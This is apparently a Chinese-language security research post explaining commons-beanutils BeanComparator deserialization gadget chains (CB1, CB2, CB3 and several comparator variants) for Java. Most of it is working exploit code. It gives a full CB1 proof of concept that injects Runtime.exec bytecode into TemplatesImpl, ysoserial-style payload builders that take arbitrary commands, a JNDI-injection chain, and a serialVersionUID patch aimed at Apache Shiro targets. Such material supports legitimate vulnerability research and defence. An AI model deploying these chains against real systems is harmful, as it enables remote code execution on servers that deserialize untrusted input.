BeanComparator

BeanComparator是commons-beanutils 中的一个类,它的作用是比较两个类是否相同。初始化时可以指定 property 和 comparator,没有指定的话则使用org.apache.commons.collections.comparators.ComparableComparator

image-20260113191822402

PropertyUtils

BeanComparator.compare() 方法接收两个对象,如果 property 为空,则直接比较两个对象,property 不为空则执行org.apache.commons.beanutils.PropertyUtils#getProperty() 方法

PropertyUtils 类使用 Java 反射API 来调用 Java 对象上的通用属性 getter 和 setter 操作的实用方法。 其中的 getProperty() 方法接收 bean 对象和属性名,进而调用 get() 方法获取指定 Filed 值

这个性质贯彻所有 CommonsBeanutils 的利用链构造,正如 Transformer 对于 CC链 的意义

image-20260113191853482

CommonsBeanutils1

前面提到可以通过 org.apache.commons.beanutils.PropertyUtils#getProperty() 执行任意的 get 方法,那么就可以使用和 fastjson 类似的思路,直接调用 TemplatesImpl 的 \_outputProperties 成员变量来触发

我们在构造的时候向 PriorityQueue 集合中添加了两个无害元素,add() 方法会调用到 java.util.Comparator#compare() 方法。由于 CB1 中我们使用的是这个构造方法,property 不为空没有进入 internalCompare() ,但需要注意的是这个方法会执行 org.apache.commons.beanutils.BeanComparator 构造方法时传入的 comparator 的 compore() 方法,后续要注意这种情况

image-20260113193335851

POC

package org.example;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;


import java.util.PriorityQueue;
import static TOOl.tool.unserialize;
import static TOOl.tool.serialize;
import java.lang.reflect.Field;

public class CB1 {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool = ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload = classPool.makeClass("CB1");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //创建一个空的类初始化,设置构造函数主体为runtime

        byte[] bytes = payload.toBytecode();//转换为byte数组47.

        Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
        Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl, new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组

        Field field1 = templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl, "test");//将templatesImpl上的_name字段设置为test

        BeanComparator comparator = new BeanComparator();
        PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
        queue.add(1);//添加数字1插入此优先级队列
        queue.add(1);//添加数字1插入此优先级队列


        Field field2 = queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
        field2.setAccessible(true);//暴力反射
        field2.set(queue, comparator);//设置queue的comparator字段值为comparator

        Field field3 = queue.getClass().getDeclaredField("queue");//获取queue的queue字段
        field3.setAccessible(true);//暴力反射
        field3.set(queue, new Object[]{templatesImpl, templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl

        Field field4 = comparator.getClass().getDeclaredField("property");
        field4.setAccessible(true);
        field4.set(comparator, "outputProperties");

        String serialize = serialize(queue);
        unserialize(serialize);
    }

}

image-20260113193415944

CommonsBeanutils3

除此之外,还可以利用PropertyUtils#getProperty() 的特性,用 com.sun.rowset.JdbcRowSetImpl#getDatabaseMetaData() 实现 JNDI 注入

public Object getObject(final String command) throws Exception {
    JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
    jdbcRowSet.setDataSourceName(command);
    jdbcRowSet.setMatchColumn("foo");
    // mock method name until armed
    final BeanComparator comparator = new BeanComparator("lowestSetBit");

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
    // stub data for replacement later
    queue.add(new BigInteger("1"));
    queue.add(new BigInteger("1"));

    // switch method called by comparator
    Reflections.setFieldValue(comparator, "property", "databaseMetaData");

    // switch contents of queue
    Reflections.setFieldValue(queue, "queue", new Object[]{jdbcRowSet, jdbcRowSet});

    return queue;
}

CommonsBeanutils2

ysoserial 中提到调用链需要 commons-collections 依赖,但是我们在实际调用链的构造时,并没有用到相关类,这是为什么?前面提到,在实例化 BeanComparator 时,如果没有指定 comparator,则默认会实例化一个 ComparableComparator ,而这个类是 commons-collections 包中的一个类。那么如果使用一个非 commons-collections 包的 comparator ,则可以实现纯 CB 利用,在之前的分析中也提到构造 BeanComparator 时是可以自定义 comparator 的。

comparator 需要满足这两个条件,且尽量通用:

  1. 实现 java.util.Comparator 接口
  2. 实现 java.io.Serializable 接口

在jdk中寻找符合条件的类,比如java.lang.String.CaseInsensitiveComparatorjava.util.Collections.ReverseComparator,以 java.lang.String.CaseInsensitiveComparator 为例构建出 CB2 gadget,可以通过 String.CASE_INSENSITIVE_ORDER 方便的拿到该对象

image-20260113194802149

public Object getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);
    final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
    queue.add("any");
    queue.add("any");

    Reflections.setFieldValue(comparator, "property", "outputProperties");
    Reflections.setFieldValue(queue, "queue", new Object[]{templates, templates});
    return queue;
}

CommonsBeanutilsAttrCompare

这条 gadget 使用了一个新的 Compare com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare ,逻辑都差不多,只要在序列化时确保 java.util.PriorityQueue#add() 触发到 AttrCompare#compare() 时不报错就好

关键判断就是这两处,Attr 的接口实现需要满足两个条件:

  1. namespaceURI 为 String
  2. localName 不为空
    image-20260113200159478
public Queue<Object> getObject(String command) throws Exception {
  final Object templates = Gadgets.createTemplatesImpl(command);
  AttrNSImpl attrNS1 = new AttrNSImpl(new CoreDocumentImpl(),"1","1","1");

  BeanComparator beanComparator = new BeanComparator(null, new AttrCompare());
  PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
  queue.add(attrNS1);
  queue.add(attrNS1);

  Reflections.setFieldValue(queue, "queue", new Object[] { templates, templates });
  Reflections.setFieldValue(beanComparator, "property", "outputProperties");

  return queue;
}

CommonsBeanutilsReverseComparator

之前提到的 java.util.Collections$ReverseComparator

public Queue<Object> getObject(String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);

    // java.util.Collections.ReverseComparator
    Comparator obj = (Comparator) Reflections.newInstance("java.util.Collections$ReverseComparator");

    BeanComparator beanComparator = new BeanComparator(null, obj);
    PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
    queue.add("1");
    queue.add("1");

    Reflections.setFieldValue(queue, "queue", new Object[]{templates, templates});
    Reflections.setFieldValue(beanComparator, "property", "outputProperties");

    return queue;
}

commons-collections:commons-collections:3.2.1 也有类似方法类

public Queue<Object> getObject(String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);

    BeanComparator beanComparator = new BeanComparator(null, new ReverseComparator());
    PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
    queue.add("1");
    queue.add("1");

    Reflections.setFieldValue(queue, "queue", new Object[] { templates, templates });
    Reflections.setFieldValue(beanComparator, "property", "outputProperties");

    return queue;
}

CommonsBeanutilsObjectToStringComparator

public Queue<Object> getObject(String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);
    
    BeanComparator beanComparator = new BeanComparator(null, new ObjectToStringComparator());
    PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
    queue.add("1");
    queue.add("1");

    Reflections.setFieldValue(queue, "queue", new Object[] { templates, templates });
    Reflections.setFieldValue(beanComparator, "property", "outputProperties");

    return queue;
}

serialVersionUID 兼容性

ysoserial 中用的 commons-beanutils 组件版本是1.9.2,而 Shiro 自带的版本为 1.8.3,两个类发生了改动。序列化时会计算一个类的 serialVersionUID 写入数据流,在反序列化时如果环境中对应类计算 serialVersionUID 不同,则会报错。为了解决这个问题,我们可以将本地库换成相应版本,也可以手动修改serialVersionUID。

利用 javassist 建一个手动修改 serialVersionUID 的 BeanComparator

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator");
try {
    CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID");
    ctBeanComparator.removeField(ctSUID);
} catch (javassist.NotFoundException e) {
}
ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator));
final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new JavassistClassLoader()).newInstance();
ctBeanComparator.defrost();